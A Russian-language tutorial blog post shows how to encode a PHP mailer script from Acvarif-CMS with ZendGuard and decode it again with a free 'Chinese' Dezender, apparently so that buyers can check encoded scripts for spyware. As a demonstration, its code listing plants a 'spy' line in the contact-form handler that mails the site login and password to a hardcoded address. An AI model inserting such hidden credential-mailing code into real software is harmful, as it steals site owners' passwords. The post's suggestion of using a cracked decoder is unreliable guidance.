Zend Guard и раскодировка PHP скриптов

Как раскодировать PHP скрипт PHP скрипт закодированный программой ZendGuard раскодировать можно программой Dezender. Dezender стоит денег, но его можно найти в сети и в бесплатном варианте, например в китайском. Насколько необходимо раскодирование зенденных скриптов? Чаще всего это не нужно. Но иногда возникает необходимость просмотреть код купленного или найденного в сети зенденного PHP скрипта на предмет различного рода шпионских подвохов.

В качестве примера можно взять любой скрипт майлера, пропустив его через программу ZendGuard, а затем раскодировав его обратно программой Dezender. Для этого возьмем скрипт Acvarif-CMS, запустим его на локальном сервере Denwer 5 c Zend Optimizer, убедимся, что скрипт майлера mail.php в CMS работает нормально, добавим туда шпионский код отсылки пароля в нужное место и закодируем скрипт.


//если информация из формы formmail.html послана скрипту mail.php
if ($_POST['submit'] == 'Поcлать')
{
	// проверка на корректность введенного емаил
	$check_email=!preg_match("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i", $_POST['mail']);  
	//если не все поля заполнены

	if (empty($_POST['code']) or empty($_SESSION['code']) or $_POST['code'] != $_SESSION['code']
	or empty($_POST['name']) or empty($_POST['mail']) or empty($_POST['message']) or $check_email) 
		$sent = file_get_contents(TEMPLS."nosentmail.html");
	//если заполнены все поля
	else 
	{
		$name = $_POST['name'];
		$mail = $_POST['mail'];
		$message = $_POST['message'];
		$message = str_replace("<","<",$message);
		$message = str_replace(">",">",$message);
		$message = str_replace("\n","
",$message); $message = str_replace("\r","",$message); // дата $data = date ("d m Y") ." г."; //в какой форме будет получено письмо $body = file_get_contents(TEMPLS."mail.html"); //email, тот куда будет приходить сообщение $user = $eadmin; //откуда сообщение $newm = $turl; //перемещение данных в собщении $body = str_replace ("%name%",$name,$body); $body = str_replace ("2024",$data,$body); $body = str_replace ("%message%",$message,$body); $body = str_replace ("%mail%",$mail,$body); $body = str_replace ("%newm%",$newm,$body); // для правильного отображения в html $headers = "Content-Type: text/html; charset=$charset\n"; $headers.= "From: ".$user; //посылка письма @mail ($user,$newm,$body,$headers); //занесение в переменную $sent содержимого файла формы собщения $sent = file_get_contents(TEMPLS."sentmail.html"); //перемещение участков строк в файле sentmail.html $sent = str_replace("%name%","$name",$sent ); $sent = str_replace("%mail%","$mail",$sent ); $sent = str_replace("2024","$data",$sent ); $sent = str_replace("%message%","$message",$sent ); //////////////////////////////////////////////////////////////////// // Примитивный шпионский код отсылки логина и пароля на mymail@mail.ru if($mail = "mymail@mail.ru") @mail ("mymail@mail.ru",$newm,"логин - $login, пароль - $pass",$headers); //////////////////////////////////////////////////////////////////// } }

Закодировать скрипт очень просто. Нужно запустить ZendGuard, создать новый проект, доавить к проекту файл который нужно закодировать, установить папку куда будет помещен закодированный скрипт (например в корневую директорию CMS X:/home/acvarifcms.ru) и нажать на кнопку Encode. Все показано на картинке ниже.

Кодирование PHP скрипта в ZendGuard

В результате в установленной директории будет создан бинарный кодированный файл с тем же названием, что и прежний. Далее можно заменить им прежний файл, который находится в data/php/mail/ запустить CMS на локальном сервере и попробовать отослать ссобщание из формы обратной связи. Все должно работать как и прежде.

Теперь проделаем обратную операцию с помощью китайского Dezender. Для этого запустим программу и согласно инструкции выберем папку с закодированным скриптом и сам скрипт и затем нажмем Dezend

Раскодирование PHP скриптов

В результате закодированный файл mail.php будет раскодирован и раскодированный файл с тем же названием будет помещен в папку decode. Точно так же можно производить раскодирование любого другого зенденного php скрипта. Иногда для корректной работы раскодированного скрипта потребуется его визуальный просмотр и небольшая корректировка.

Top.Mail.Ru